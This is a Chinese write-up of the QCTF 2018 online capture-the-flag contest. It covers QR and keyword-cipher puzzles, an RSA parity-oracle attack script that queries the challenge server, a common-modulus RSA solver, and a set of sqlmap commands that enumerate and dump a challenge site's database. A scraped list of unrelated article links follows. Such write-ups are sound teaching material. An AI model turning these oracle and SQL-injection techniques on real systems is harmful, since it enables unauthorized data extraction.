QCTF 2018线上赛 writeup
本次算是被QCTF打趴了,本来做题时间就少(公司无限开会,开了一天,伪借口),加上难度和脑洞的增大,导致这次QCTF又酱油了。。。就连最基本的签到题都没做出来。。。这就很气
好了,以下是解题思路
MISC
0x01 X-man-A face
下载附件,得到图片
简单拖进binwalk扫一下,无果,查看附件属性信息,无果。
最后尝试补全一下图中的二维码
打开画图工具,键盘拼接一下,得到
扫描图中二维码,居然可以扫出东西,得到
KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=
base64走起,没用
那base32走起,得到flag:QCTF{Pretty_Sister_Who_Buys_Me_Lobster}
0x02 X-man-Keyword
签到题,下载图片得到
提取图片信息
PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}
根据提示,搜索置换密码等关键字,查到该加密方式是Nihilist加密。
简单说一下原理
原26个英文字母为ABCDEFGHIJKLMNOPQRSTUVWXYZ
把关键字提前后为LOVEKFCABDGHIJMNPQRSTUWXYZ
在置换后的序列里可以发现对应关系P=Q,V=C,S=T,F=F。。。。。
规律确认无误后,最后通过脚本解出
# coding=utf-
# author:
import string enc = 'PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}'
grid = 'LOVEKFC' + 'ABDGHIJMNPQRSTUWXY'
flag = '' for i in enc:
if i in string.ascii_lowercase:
index = grid.lower().index(i)
flag += string.ascii_lowercase[index]
continue
if i in string.ascii_uppercase:
index = grid.upper().index(i)
flag += string.ascii_uppercase[index]
continue
flag += i
print flag
Crypto
0x01 babyRSA
最开始以为是一道常规的RSA破解,直接丢进msieve和yafu,fatorydb等跑起来。。。
。。。
。。。
。。。
跑炸了都没出个有用的东西。。。
就此卡住,先nc 47.96.239.28 23333看看后面的题目
发现是提供一个密文,系统会返回even和odd
于是联想到最低有效位(LSB)oracle攻击 (后来才知道的。。。)
从出题大佬那里py到的提示:https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack
仍然看不懂。。。后来又找到了一个中文版:https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/
这里说一下我理解的大概原理:
如果我们已经知道公钥中N,e,c,那么我们就可以通过构造任意构造密文c1,即c1=(2**e mod n)*c,作为密文发送出去,根据返回此密文解密后p1的末尾某些比特位的性质(记为函数f),求得原始明文信息!
最简单的函数f 是表示 p 的奇偶性(即even和odd)。
若返回f(2P)
如果f(2P)f(2P) 返回的最后一位是0,那么2P<N2P<N,即P<N/2P<N/2
如果f(2P)f(2P) 返回的最后一位是1,那么2P>N2P>N,即 P>N/2P>N/2
接着我们来看看2P2P 和 4P4P
如果返回的是(偶,偶),那么有 P<N/4P<N/4
如果返回的是(偶,奇),那么有N/4<P<N/2N/4<P<N/2
如果返回的是(偶,奇),那么有N/2<P<3N/4N/2<P<3N/4
如果返回的是(奇,奇),那么有3N/4<P<N3N/4<P<N
结论就是
如果我们循环下去,基本上就可以得到P所处在的空间。当次数不断叠加,最终所处在的空间将会十分的小,于是就可以解出对应的解!
P∈[0,P] 也即LB=0, UB=N
使用log2 Nlog2 N 次可以根据密文C 求解出明文P
C′=(2e mod N)∗C
if (Oracle(C') == even):
UB = (UB + LB)/2;
else:
LB = (UB + LB)/2;
模仿了写法,求得LB
# coding=utf-8
# author:401219180
import binascii
import socket def getevenOrodd(c):
"""nc连接获取even or odd"""
adress = "47.96.239.28"
port = 23333
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((adress, int(port)))
s.recv(1024)
data = hex(c)[:-1] + "\n"
s.send(data)
codeindex = s.recv(1024)
s.shutdown(1)
s.close()
print codeindex
return codeindex def decrypt(n):
LB = 0
UB = n
e = 65537
c = int("0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0",16)
while LB != UB:
c1 = (pow(2, e, n) * c) % n
if getevenOrodd(c1)[:-1] == "even":
UB = (UB + LB) / 2
else:
LB = (UB + LB) / 2
c = c1
print LB n=int("0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db",16)
decrypt(n)
LB=560856645743734814774953158390773525781916094468093308691660509501812320
这里的LB也就是明文P(Plaintext)
最后int转ascii即可
LB = 560856645743734814774953158390773525781916094468093308691660509501812320
plaintext = binascii.unhexlify(hex(LB)[2:-1])
print(plaintext)
plaintext =QCTF{RSA_parity_oracle_is_fun`
0x02 Xman-RSA
下载题目附件得到
依次点开查看,分析
应该是从encryption.encrypyed入手
从原文可以看出,这个语法有点像python,可能是python源码被做了简单的移位加密,例如gqhb=from,adg=def,urtd64应该是base64。。。
这里应该不是凯撒加密,移位的数字是没有规律的,所以只能一点一点的摸索猜测密文和明文字母的对应关系,如果熟悉python,就能猜出
最后人工手写出解密脚本
cpdic = {
"a": "d", "d": "e", "g": "f", "q": "r", "h": "o", "b": "m", "u": "b", "r": "a", "t": "s", "p": "i", "k": "p",
"w": "t", "z": "u", "e": "n", "x": "c", "y": "l", "l": "y", "f": "w", "m": "h", "j": "g", "i": "x", "v": "k"
} f1 = open("C:\\Users\\fuzhi\\Desktop\\Downloads\\encryption.encrypted", "r") //本地文件
data1 = f1.read()
listdata1 = list(data1)
i = 0
for strindex in listdata1:
if strindex in cpdic:
listdata1[i] = cpdic[strindex]
i += 1 s = "".join(listdata1)
print s
还原出的encryption.encrypyed为
from gmpy2 import is_prime
from os import urandom
import base64 def bytes_to_num(b):
return int(b.encode('hex'), 16) def num_to_bytes(n):
b = hex(n)[2:-1]
b = '' + b if len(b)%2 == 1 else b
return b.decode('hex') def get_a_prime(l):
random_seed = urandom(l) num = bytes_to_num(random_seed) while True:
if is_prime(num):
break
num+=1
return num def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex') def separate(n):
p = n % 4
t = (p*p) % 4
return t == 1 f = open('flag.txt', 'r')
flag = f.read() msg1 = ""
msg2 = ""
for i in range(len(flag)):
if separate(i):
msg2 += flag[i]
else:
msg1 += flag[i] p1 = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
n1 = p1*p2
n2 = p1*p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2) e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4*p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2) print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))
代码审计后,可以利用共模攻击求出n1,然后利用公约数求出p1,p2,p3,再求出d1,d2,从而解出msg1和msg2
解密源码为:
# coding=utf-8
# author:401219180 import base64
import binascii
import gmpy2 e = 0x1001
e1 = 0x1001
e2 = 0x101 n2cipertext = "PVNHb2BfGAnmxLrbKhgsYXRwWIL9eOj6K0s3I0slKHCTXTAUtZh3T0r+RoSlhpO3+77AY8P7WETYz2Jzuv5FV/mMODoFrM5fMyQsNt90VynR6J3Jv+fnPJPsm2hJ1Fqt7EKaVRwCbt6a4BdcRoHJsYN/+eh7k/X+FL5XM7viyvQxyFawQrhSV79FIoX6xfjtGW+uAeVF7DScRcl49dlwODhFD7SeLqzoYDJPIQS+VSb3YtvrDgdV+EhuS1bfWvkkXRijlJEpLrgWYmMdfsYX8u/+Ylf5xcBGn3hv1YhQrBCg77AHuUF2w/gJ/ADHFiMcH3ux3nqOsuwnbGSr7jA6Cw=="
n3cipertext = "TmNVbWUhCXR1od3gBpM+HGMKK/4ErfIKITxomQ/QmNCZlzmmsNyPXQBiMEeUB8udO7lWjQTYGjD6k21xjThHTNDG4z6C2cNNPz73VIaNTGz0hrh6CmqDowFbyrk+rv53QSkVKPa8EZnFKwGz9B3zXimm1D+01cov7V/ZDfrHrEjsDkgK4ZlrQxPpZAPl+yqGlRK8soBKhY/PF3/GjbquRYeYKbagpUmWOhLnF4/+DP33ve/EpaSAPirZXzf8hyatL4/5tAZ0uNq9W6T4GoMG+N7aS2GeyUA2sLJMHymW4cFK5l5kUvjslRdXOHTmz5eHxqIV6TmSBQRgovUijlNamQ==" n2hex = base64.b64decode(n2cipertext).encode("hex")
n3hex = base64.b64decode(n3cipertext).encode("hex") n3 = int(n3hex, 16)
n2 = int(n2hex, 16) n1ciper1hex = "2639c28e3609a4a8c953cca9c326e8e062756305ae8aee6efcd346458aade3ee8c2106ab9dfe5f470804f366af738aa493fd2dc26cb249a922e121287f3eddec0ed8dea89747dc57aed7cd2089d75c23a69bf601f490a64f73f6a583081ae3a7ed52238c13a95d3322065adba9053ee5b12f1de1873dbad9fbf4a50a2f58088df0fddfe2ed8ca1118c81268c8c0fd5572494276f4e48b5eb424f116e6f5e9d66da1b6b3a8f102539b690c1636e82906a46f3c5434d5b04ed7938861f8d453908970eccef07bf13f723d6fdd26a61be8b9462d0ddfbedc91886df194ea022e56c1780aa6c76b9f1c7d5ea743dc75cec3c805324e90ea577fa396a1effdafa3090"
n1ciper2hex = "42ff1157363d9cd10da64eb4382b6457ebb740dbef40ade9b24a174d0145adaa0115d86aa2fc2a41257f2b62486eaebb655925dac78dd8d13ab405aef5b8b8f9830094c712193500db49fb801e1368c73f88f6d8533c99c8e7259f8b9d1c926c47215ed327114f235ba8c873af7a0052aa2d32c52880db55c5615e5a1793b690c37efdd5e503f717bb8de716303e4d6c4116f62d81be852c5d36ef282a958d8c82cf3b458dcc8191dcc7b490f227d1562b1d57fbcf7bf4b78a5d90cd385fd79c8ca4688e7d62b3204aeaf9692ba4d4e44875eaa63642775846434f9ce51d138ca702d907849823b1e86896e4ea6223f93fae68b026cfe5fa5a665569a9e3948a" n1ciper1 = int(n1ciper1hex, 16)
n1ciper2 = int(n1ciper2hex, 16) # 共模攻击
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
n1ciper1 = gmpy2.invert(n1ciper1, n3)
if t < 0:
t = -t
n1ciper2 = gmpy2.invert(n1ciper2, n3)
n1 = gmpy2.powmod(n1ciper1, s, n3) * gmpy2.powmod(n1ciper2, t, n3) % n3
print n1 """
因为
n1 = p1 * p2
n2 = p1 * p3
可求得公约数p1,然后依次解出p2,p3
"""
p1 = gmpy2.gcd(n1, n2)
p2 = n1 / p1
p3 = n2 / p1 # 解出d1,d2
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1)) c1hex = "1240198b148089290e375b999569f0d53c32d356b2e95f5acee070f016b3bef243d0b5e46d9ad7aa7dfe2f21bda920d0ac7ce7b1e48f22b2de410c6f391ce7c4347c65ffc9704ecb3068005e9f35cbbb7b27e0f7a18f4f42ae572d77aaa3ee189418d6a07bab7d93beaa365c98349d8599eb68d21313795f380f05f5b3dfdc6272635ede1f83d308c0fdb2baf444b9ee138132d0d532c3c7e60efb25b9bf9cb62dba9833aa3706344229bd6045f0877661a073b6deef2763452d0ad7ab3404ba494b93fd6dfdf4c28e4fe83a72884a99ddf15ca030ace978f2da87b79b4f504f1d15b5b96c654f6cd5179b72ed5f84d3a16a8f0d5bf6774e7fd98d27bf3c9839"
c2hex = "129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8ff397d078a8c41186a3d52977fa2307d5b6a0ad01fedfc3ba7b70f776ba3790a43444fb954e5afd64b1a3abeb6507cf70a5eb44678a886adf81cb4848a35afb4db7cd7818f566c7e6e2911f5ababdbdd2d4ff9825827e58d48d5466e021a64599b3e867840c07e29582961f81643df07f678a61a9f9027ebd34094e272dfbdc4619fa0ac60f0189af785df77e7ec784e086cf692a7bf7113a7fb8446a65efa8b431c6f72c14bcfa49c9b491fb1d87f2570059e0f13166a85bb555b40549f45f04bc5dbd09d8b858a5382be6497d88197ffb86381085756365bd757ec3cdfa8a77ba1728ec2de596c5ab" c1 = int(c1hex, 16)
c2 = int(c2hex, 16) msg1 = pow(c1, d1, n1)
msg2 = pow(c2, d2, n2) print msg1
print msg2
求得msg1和msg2后,转成ascii,然后拼接即可
plantext1 = binascii.unhexlify(hex(msg1)[2:])
plantext2 = binascii.unhexlify(hex(msg2)[2:]) flag = ""for i in range(len(plantext1) - 1):
flag += (plantext1[i] + plantext2[i])
print flag
flag:XMAN{CRYPT0_I5_50_Interestingvim rsa.py}
WEB
0x01 NewsCenter
打开网页来到
通过简单的输入调试,感觉应该是考察sql注入
于是sqlmap一把梭
爆库python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" --current-db
爆表python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news --tables
爆字段python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table --columns
爆值python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table -C "fl4g,id" --dump
QCTF 2018线上赛 writeup的更多相关文章
- ISCC 2018线上赛 writeup
今天有机会去ISCC2018参加了比赛,个人的感受是比赛题目整体难度不高,就是脑洞特别大,flag形式不明确,拿到flag后也要猜测flag格式,贼坑 废话不多说,以下是本人的解题思路 MISC 0x ...
- DDCTF 2018线上赛writeup
第一题: d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e ...
- RCTF 2018线上赛 writeup
苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上 ...
- 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup
本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html 未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...
- 2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 H题 Rock Paper Scissors Lizard Spock.(FFT字符串匹配)
2018 ACM-ICPC 中国大学生程序设计竞赛线上赛:https://www.jisuanke.com/contest/1227 题目链接:https://nanti.jisuanke.com/t ...
- 2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 F题 Clever King(最小割)
2018 ACM-ICPC 中国大学生程序设计竞赛线上赛:https://www.jisuanke.com/contest/1227 题目链接:https://nanti.jisuanke.com/t ...
- “玲珑杯”线上赛 Round #17 河南专场
闲来无事呆在寝室打打题,没有想到还有中奖这种操作,超开心的 玲珑杯”线上赛 Round #17 河南专场 Start Time:2017-06-24 12:00:00 End Time:2017-06 ...
- 计蒜客 25985.Goldbach-米勒拉宾素数判定(大素数) (2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 B)
若干年之前的一道题,当时能写出来还是超级开心的,虽然是个板子题.一直忘记写博客,备忘一下. 米勒拉判大素数,关于米勒拉宾是个什么东西,传送门了解一下:biubiubiu~ B. Goldbach 题目 ...
- 20190815网络与信息安全领域专项赛线上赛misc WriteUp
目录 签到题 题目内容 使用工具 解题步骤 七代目 题目下载地址 使用工具 解题步骤 亚萨西 题目下载链接 使用工具 解题步骤 24word 题目下载链接 使用工具 解题步骤 感想 几星期前报了名却完 ...
随机推荐
- Spring Boot 生成接口文档 swagger2
swagger,中文“拽”的意思.它是一个功能强大的api框架,它的集成非常简单,不仅提供了在线文档的查阅,而且还提供了在线文档的测试. 另外swagger很容易构建restful风格的api,简单优 ...
- 算法(Algorithms)第4版 练习 1.3.29
代码实现: //1.3.29 package com.qiusongde.linkedlist; import java.util.Iterator; import java.util.NoSuchE ...
- jstl <c:url>标签
标签作用是将一个URL地址格式化为一个字符串,并且保存在一个变量当中.它具有URL自动重写功能.value指定的URL可以是当前工程的一个URL地址,也可以是其他web工程的URL.但是这时需要con ...
- html5 手写的canvas实现
试用支持canvas的浏览器,无JS依赖,运用新的HTML5技术DrawBoard.renderDrawer('myHandWrite',{ penColor:'#FF0000', penWidt ...
- 修复升级ndk到17.0.4754217编译so失败问题
今天编译工程总过不去,查看失败原因,因为ndk的mips编译不过去. A problem occurred starting process ‘command ‘/Users/didi/Library ...
- c++迷宫小游戏
c++迷宫小游戏 一.总结 一句话总结: 显示:根据map数组输出图像 走动:修改map数组的值,每走一步重新刷新一下图像就好 1.如果走函数用z(),出现输入s会向下走多步的情况,原因是什么? 向下 ...
- [原创]java操作word生成水印
应用场景 为了保护版权或辨别文件的真伪,有时需要在生成的Word文件中动态添加水印,PageOffice组件的WaterMark类就封装了给在线编辑的Word文件添加水印这一功能,调用接口非常简单. ...
- darknet YOLO 编译使用GPU
Darknet在GPU上运行可以得到500倍的提速,编译使用GPU要求显卡是Nvidia卡并且正确安装了CUDA. GPU环境下的编译配置都是在 /darknet/Makefile 文件中定义的,GP ...
- 「SHOI2002」「LuoguP1291」百事世界杯之旅(UVA10288 Coupons)(期望,输出
题目描述 “……在2002年6月之前购买的百事任何饮料的瓶盖上都会有一个百事球星的名字.只要凑齐所有百事球星的名字,就可参加百事世界杯之旅的抽奖活动,获得球星背包,随声听,更克赴日韩观看世界杯.还不赶 ...
- Excel 2007无法打开多个窗口的问题
Excel 2007使用的时候打开多个工作薄的时候,不像2003那样默认独立分开窗口显示.要切换工作簿,需要通过 “视图-切换窗口”来选择需要当前活动的窗口,这样的操作给同时操作多个工作薄来说,非常不 ...